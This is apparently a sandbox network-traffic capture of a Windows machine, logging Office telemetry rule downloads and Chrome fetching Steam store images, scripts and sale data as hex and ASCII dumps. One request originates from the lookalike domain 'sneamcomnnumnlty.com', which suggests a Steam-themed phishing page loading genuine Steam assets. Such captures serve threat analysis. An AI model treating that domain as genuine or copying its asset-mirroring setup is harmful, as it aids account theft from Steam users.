2024-10-07 06:47:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:06 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 0377c3fc-101e-000b-65dc-165e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064706Z-1657d5bbd48lknvp09v995n79000000002t0000000005tuw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:06 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:06 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:06 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: a5e58c1d-b01e-00ab-5ac9-16dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064706Z-1657d5bbd487nf59mzf5b3gk8n00000002n000000000ff79 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:06 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	49846	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:06 UTC	687	OUT	GET /public/images//v6/temp/cluster_bg_2.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://store.akamai.steamstatic.com/public/css/v6/store.css?v=z0n7Kqde-Ths&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:07 UTC	271	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 144661 Last-Modified: Fri, 05 Jan 2018 22:32:03 GMT ETag: "5a4ffce3-23515" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:07 GMT Connection: close
2024-10-07 06:47:07 UTC	16113	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 21 00 00 01 f4 08 06 00 00 00 03 b9 37 c5 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDR!7tEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
2024-10-07 06:47:07 UTC	16384	IN	Data Raw: 9e aa a0 da dc 30 ae e7 f1 28 c0 72 f5 cc 28 2d 0e d9 6b 15 75 70 34 6d 98 91 1d d5 fd 1c ec 45 88 50 71 00 10 59 ca 49 75 cd 2c e5 65 14 40 41 9d cf 83 80 4b 24 7e 59 11 18 19 e1 d5 49 b1 08 61 bd 0d d3 23 68 2a c0 ae 68 37 54 4e 7c 46 ac 46 31 8f 43 b0 1d 16 6d 37 00 51 91 69 4d 38 21 fb 0c 3c 93 ba 1f 98 f1 68 d7 19 9f 26 04 82 0a e9 b2 84 e0 ff 29 da 2b 77 ec e7 4a 65 13 b6 a7 dc 55 0d 21 c4 b1 56 fd d7 57 12 03 4a 1a c6 57 af a2 d1 d1 17 72 61 8e 6f 12 62 b7 6f 45 3c 28 20 14 4d 18 54 43 5d 09 c9 47 13 f6 15 8b 8d 2a 2c 65 c0 11 60 ce 63 dc 30 66 2b 36 de 0c e4 b2 d3 4d 14 aa 7e 25 c2 44 e9 27 06 24 66 ea b7 33 92 49 71 44 2a 82 8d 69 19 64 00 f5 38 81 53 03 a0 1d 39 fc 4c cb 62 a6 2f 99 46 07 3a a1 fc 05 40 03 00 bd 2b 42 68 01 c0 78 65 df 15 b9 83 Data Ascii: 0(r(-kup4mEPqYIu,e@AK$~YIa#hh7TN\|FF1Cm7QiM8!<h&)+wJeU!VWJWraoboE<( MTC]G,e`c0f+6M~%D'$f3IqD*id8S9Lb/F:@+Bhxe
2024-10-07 06:47:07 UTC	2220	IN	Data Raw: 74 10 80 6b 05 81 56 e9 2a a0 74 2f 46 be 3d 93 49 e7 b0 7f d4 57 67 3b 7e 58 1d 52 ed c6 d3 20 86 f0 b9 8c 10 aa c8 62 65 fe 18 00 18 59 94 01 d3 7f 1a c6 2b 1f a1 35 bc ea bb f3 9e f1 20 c4 53 45 76 56 91 72 61 38 1a 6a 58 9d ca f4 20 fe 54 95 96 52 91 d0 28 3a c0 0b 32 94 81 b5 30 5e 25 06 a5 4b 1a 19 f7 aa f4 68 00 9b ca f6 fa 61 7a c4 9e aa 67 90 f5 83 7a 82 9e f9 a9 ac ba 50 18 4e 9b 0b 40 16 b0 77 8d 62 8f 09 e0 07 57 d7 0f c3 1a 35 6c de ba e9 3a 68 9d 43 8f 8a 08 52 84 e6 bb 18 c8 2e 7e 67 26 8d 62 25 f1 70 15 f7 7d c9 f6 93 4b 74 56 65 a7 14 96 b6 5a a8 57 4f 18 6f bc 8b 59 1d e2 a7 a6 7d 54 21 e6 d5 64 09 61 33 9b 59 14 14 a6 f5 f9 39 0f e2 90 1a 20 4d 4c 20 54 2a 60 ca 00 7a f6 ac 4c f9 16 69 29 64 0b 7a 95 3e 30 c0 46 1c 60 23 c8 c2 b4 d9 c9 Data Ascii: tkVt/F=IWg;~XR beY+5 SEvVra8jX TR(:20^%KhazgzPN@wbW5l:hCR.~g&b%p}KtVeZWOoY}T!da3Y9 ML T`zLi)dz>0F`#
2024-10-07 06:47:07 UTC	16384	IN	Data Raw: 88 03 98 e2 07 8b b3 2e f6 2d 43 d2 8d b2 08 e3 80 bc 03 c7 69 dc 4e 01 62 40 bb 02 cc 82 24 77 84 d7 2e 0a 09 4c 53 44 11 8e 53 90 ff ee dd 2a f2 53 9d c7 17 21 30 7f 3d 8b 37 f2 88 5d 33 36 3b 4d 3c 4b e3 21 8e 08 9e 82 a4 1a f0 a3 12 ea cc 61 c2 b8 ae 13 d8 8d a6 34 f7 e4 ce de 21 ee 3d e5 2a 2e cf 73 e7 c4 93 0e 59 b6 a6 96 c9 f1 1d e9 e0 e2 c3 2e 70 cc 0e 39 95 c3 22 ee f7 9f 8e 76 4f f4 1d 0e 4f b0 58 72 bf 6b b0 e1 a7 04 c5 27 23 1d 4f ff ed bf 8d 85 f8 4f 1e c7 70 e2 80 ee 80 4f 55 e3 54 49 41 91 a0 3a 72 e2 89 c5 23 0a 56 b4 65 09 53 e5 28 01 fc 6d 18 e8 f4 2c 77 79 4f 8a a8 38 ab 75 ae e2 b3 45 20 5f 82 ed 77 09 1e 4b 24 9b c0 e3 c4 29 87 38 1c da ca ba eb 54 d8 81 d5 66 55 3b 96 58 9d f7 a0 aa ce f7 eb 78 e3 7f 45 ab de b7 ef be 04 f9 c0 9e 3f Data Ascii: .-CiNb@$w.LSDSS!0=7]36;M<K!a4!=.sY.p9"vOOXrk'#OOpOUTIA:r#VeS(m,wyO8uE _wK$)8TfU;XxE?
2024-10-07 06:47:07 UTC	16384	IN	Data Raw: 7c 90 13 1c 51 41 cc 25 7c 9f 10 11 4f 59 a1 5d 7e 77 ab a0 3a 3e fc ce 81 ac 2e db 58 30 21 b0 91 29 71 6e bd 87 97 d9 9c 4e bc c6 cd f4 31 5b 21 65 37 78 fe d9 22 d5 8b f3 80 61 ea c9 cb 54 42 46 38 b0 21 88 83 5d b0 c2 08 95 03 f7 0c 19 e0 bd 27 49 bb 08 98 aa 6d 74 16 c4 14 1b 65 01 b4 97 3c 9b a3 3d 47 46 86 a8 1a 30 2f 7a 57 89 b9 bb 7e 28 f0 98 98 71 c0 0b 5d a6 a4 78 06 b0 f4 6b c6 3d b5 d8 03 bc 7b 61 88 04 3a 59 90 c1 3c 5f 57 c5 41 b1 7e 93 05 d6 99 4c 9c 4e 2c 67 eb 7f 53 5d 1b 01 3c 02 9d ed e5 27 24 02 0c 61 9c da ef d9 75 2c 03 4a 93 fe 48 52 75 1f c8 e3 6c 00 77 ee 61 7f e7 46 39 60 c8 54 b5 47 52 85 53 ed 59 45 9e e1 88 69 4e fc ae 21 61 92 45 23 3b 57 36 72 87 dc 28 89 35 94 24 88 72 14 59 a1 a8 91 da 6e 93 26 53 d3 9d 98 e6 ac 53 0b f2 Data Ascii: \|QA%\|OY]~w:>.X0!)qnN1[!e7x"aTBF8!]'Imte<=GF0/zW~(q]xk={a:Y<_WA~LN,gS]<'$au,JHRulwaF9`TGRSYEiN!aE#;W6r(5$rYn&SS
2024-10-07 06:47:07 UTC	7952	IN	Data Raw: 77 0a 5b 09 39 a9 08 b9 69 f2 e6 81 7c 54 e8 cc d1 9c c5 a8 1b 39 aa 2a f9 ac 78 55 75 69 a9 ae 99 6a 7c f4 9e 83 3a 61 54 d5 29 b8 a0 bb 29 36 b4 fe 84 22 e0 95 90 38 3b d3 17 c1 38 d5 73 49 04 27 95 ce 53 85 21 96 89 f3 4e 47 a2 22 12 00 5e cc 03 f8 a8 4d aa 8b f3 5d 30 55 9d 72 2a c7 53 36 97 ae 98 d3 c1 99 20 a4 87 fa 3d 47 48 a2 49 d4 26 71 e9 97 df ff fa e5 15 e8 36 64 7c e6 cf 27 94 38 1d cb 94 88 3d ba eb 1b e1 ef aa d1 92 dd 7c 90 e9 66 4f ac 68 06 32 a1 9b 74 bd d5 75 4d c3 a0 3a 5b 38 75 08 0f 93 d8 aa 19 cb 05 2e 96 e8 9c 09 16 7c 85 98 01 f8 01 5d 01 62 0e 13 ec 5e 97 d9 db dd f5 64 7b e3 22 e4 d4 65 00 31 02 e0 be 8b cf 5b c7 e1 fd 75 fc fc 84 ae f6 9d 6d 80 af 22 01 5b e0 a2 82 55 4b a1 ab de 38 2d 95 27 ce 0e ce 1a b7 02 23 13 5a 68 2b 49 Data Ascii: w[9i\|T9xUuij\|:aT))6"8;8sI'S!NG"^M]0UrS6 =GHI&q6d\|'8=\|fOh2tuM:[8u.\|]b^d{"e1[um"[UK8-'#Zh+I
2024-10-07 06:47:07 UTC	16384	IN	Data Raw: 25 47 68 30 2b 55 46 d0 6d 41 3e 20 60 ff 07 ea ea 3e cc 21 38 05 a9 97 be 9f cc d1 45 1d ae 08 c0 96 4a 74 19 00 62 ef 94 da 27 40 d6 31 e2 66 fe 21 c0 9c 1b 5f 49 bc ec 9f 00 8f 84 e8 3e 5b 5b d3 83 b8 ab 96 9f fc 6f a5 19 a4 1c 5a 14 49 9c 8c 04 38 7f f7 44 8c 0f e6 9d 7a 97 b8 72 60 da 09 5d 6e 02 56 ce 77 34 75 34 62 44 03 db bf ee 7e 12 a1 d1 dd 88 f7 8e f0 d8 f8 a9 09 e3 f6 f7 d3 31 1f 05 2a 9d f0 a9 d3 96 e8 8c 9e 24 c4 b5 02 04 8a ac 52 9a 45 49 65 33 b1 b0 bc e7 02 0a b4 5c e0 63 11 3b 88 17 ea 1c 9b c8 ba aa cf f3 7a bd 49 4a b9 75 9b e2 5e 15 e8 63 f7 58 11 73 77 60 5b 39 44 5d d0 3a 74 67 3c f8 2e c4 bd 04 28 bf c0 bb 78 9d 60 7e 25 a2 09 d4 63 16 d5 3d 56 67 e4 32 39 d9 24 fb 50 ed 8d 0d ee 1a c2 f6 c4 34 7b fb fb fe aa ae d6 24 a6 54 ef e1 Data Ascii: %Gh0+UFmA> `>!8EJtb'@1f!_I>[[oZI8Dzr`]nVw4u4bD~1*$REIe3\c;zIJu^cXsw`[9D]:tg<.(x`~%c=Vg29$P4{$T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49848	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:06 UTC	728	OUT	GET /public/shared/images/header/btn_header_installsteam_download.png?v=1 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://store.akamai.steamstatic.com/public/shared/css/shared_global.css?v=mm2EqtpQ_Tvc&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:07 UTC	266	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 291 Last-Modified: Tue, 20 Mar 2018 23:42:19 GMT ETag: "5ab19c5b-123" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:07 GMT Connection: close
2024-10-07 06:47:07 UTC	291	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0f 00 00 00 0d 08 06 00 00 00 76 1e 34 41 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 00 c5 49 44 41 54 78 da 62 f8 ff ff 3f 03 1e cc 03 c4 93 80 f8 39 10 7f 03 e2 5d 40 ac 0f 93 c7 a7 91 1d 88 4f fc 47 80 bf 40 fc 05 88 3f 02 b1 3a 21 cd 05 48 1a 0f 03 b1 1c 54 dc 1a 88 7b 09 69 3e 88 a4 59 1e 4d ce 0c 9b 66 66 a8 1f 57 01 f1 27 a8 c6 5f 50 3e 08 ab 21 a9 c3 6a b3 03 10 ff f9 8f 09 26 a3 ab c5 e5 e4 0a 34 8d 27 81 98 8d 58 cd 8c 40 bc 19 aa f1 0d 16 3f c3 35 83 e2 6d 37 10 df 45 c2 97 81 58 17 ca f6 04 e2 45 68 f2 20 f5 06 0c 50 85 d8 c0 51 20 16 03 e2 12 1c f2 d7 18 fe e3 07 20 a7 ff c6 25 09 f2 db 03 06 06 06 79 06 d2 c1 63 Data Ascii: PNGIHDRv4AtEXtSoftwareAdobe ImageReadyqe<IDATxb?9]@OG@?:!HT{i>YMffW'_P>!j&4'X@?5m7EXEh PQ %yc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49847	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:06 UTC	684	OUT	GET /public/images/v6/search_icon_btn.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://store.akamai.steamstatic.com/public/css/v6/store.css?v=z0n7Kqde-Ths&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:07 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 1816 Last-Modified: Fri, 05 Jan 2018 22:32:03 GMT ETag: "5a4ffce3-718" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:07 GMT Connection: close
2024-10-07 06:47:07 UTC	1816	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 19 00 00 00 19 08 06 00 00 00 c4 e9 85 63 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDRctEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49852	95.101.149.47	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	548	OUT	GET /dynamicstore/saledata/?cc=RU HTTP/1.1 Host: store.steampowered.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://sneamcomnnumnlty.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:07 UTC	360	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/json; charset=utf-8 X-Frame-Options: DENY Cache-Control: public,max-age=300 Expires: Mon, 07 Oct 2024 06:51:45 GMT Last-Modified: Mon, 07 Oct 2024 06:45:00 GMT Strict-Transport-Security: max-age=10368000 Vary: origin Date: Mon, 07 Oct 2024 06:47:07 GMT Content-Length: 29 Connection: close
2024-10-07 06:47:07 UTC	29	IN	Data Raw: 7b 22 62 41 6c 6c 6f 77 41 70 70 49 6d 70 72 65 73 73 69 6f 6e 73 22 3a 74 72 75 65 7d Data Ascii: {"bAllowAppImpressions":true}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49845	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	599	OUT	GET /public/shared/images/responsive/header_logo.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:07 UTC	269	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 10863 Last-Modified: Fri, 05 Jan 2018 22:31:56 GMT ETag: "5a4ffcdc-2a6f" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Mon, 07 Oct 2024 06:47:07 GMT Connection: close
2024-10-07 06:47:07 UTC	10863	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 e8 00 00 00 ab 08 06 00 00 00 34 09 69 7b 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 29 ea 49 44 41 54 78 5e ed 9d 0d c8 7d 55 99 b7 9b 09 1a 1a 7c 19 68 70 28 1c 0c 25 31 12 a3 48 8a 44 51 12 c3 28 12 a5 48 12 c3 48 46 8a c4 48 92 a4 28 8c 42 31 92 86 a2 68 50 8c 42 31 1a 92 22 31 1a 8a 22 29 92 86 a4 28 94 22 99 18 49 12 22 99 78 07 e2 0d df fb 3a fb 39 f6 fc 8f fb 9c b3 d6 3e fb 63 ad bd af 0b 7e 9c bd 1f ff 3e 1f e7 63 ef df ba d7 fd f1 37 4f 3f fd f4 73 44 44 44 44 44 a4 0c fe f6 e8 51 44 44 44 44 44 0a c0 08 ba d4 c6 c9 a1 53 9b c3 15 67 86 4e 6a 0e 9f e1 a9 d0 af 9b c3 15 8f 87 9e Data Ascii: PNGIHDR4i{sRGBgAMAapHYsod)IDATx^}U\|hp(%1HDQ(HHFH(B1hPB1"1")("I"x:9>c~>c7O?sDDDDDQDDDDDSgNj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49853	2.16.168.5	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	394	OUT	GET /public/javascript/modal.js?v=.Gl8zxCENQAoO HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:07 UTC	346	IN	HTTP/1.1 200 OK Last-Modified: Wed, 28 Jun 2023 04:07:21 GMT ETag: ".Gl8zxCENQAoO" Server: nginx Content-Type: text/javascript;charset=UTF-8 Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=9258529 Expires: Wed, 22 Jan 2025 10:35:56 GMT Date: Mon, 07 Oct 2024 06:47:07 GMT Content-Length: 2917 Connection: close
2024-10-07 06:47:07 UTC	2917	IN	Data Raw: 76 61 72 20 73 65 6c 53 74 61 74 65 73 20 3d 20 6e 65 77 20 41 72 72 61 79 28 29 3b 0d 0a 76 61 72 20 6d 6f 64 61 6c 44 69 73 6d 69 73 73 48 61 6e 64 6c 65 72 20 3d 20 66 61 6c 73 65 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 73 68 6f 77 47 6f 74 53 74 65 61 6d 4d 6f 64 61 6c 28 20 63 6f 6e 74 65 6e 74 45 6c 2c 20 73 74 65 61 6d 55 52 4c 2c 20 61 70 70 4e 61 6d 65 20 29 0d 0a 7b 0d 0a 09 24 28 27 67 6f 74 53 74 65 61 6d 5f 53 74 65 61 6d 55 52 4c 27 29 2e 68 72 65 66 20 3d 20 73 74 65 61 6d 55 52 4c 3b 0d 0a 09 24 28 27 67 6f 74 53 74 65 61 6d 5f 41 70 70 4e 61 6d 65 27 29 2e 75 70 64 61 74 65 28 20 61 70 70 4e 61 6d 65 20 29 3b 0d 0a 09 73 68 6f 77 4d 6f 64 61 6c 28 20 63 6f 6e 74 65 6e 74 45 6c 20 29 3b 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 73 Data Ascii: var selStates = new Array();var modalDismissHandler = false;function showGotSteamModal( contentEl, steamURL, appName ){$('gotSteam_SteamURL').href = steamURL;$('gotSteam_AppName').update( appName );showModal( contentEl );}function s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49854	2.16.168.5	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:07 UTC	430	OUT	GET /public/shared/javascript/shared_responsive_adapter.js?v=pSvIAKtunfWg&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
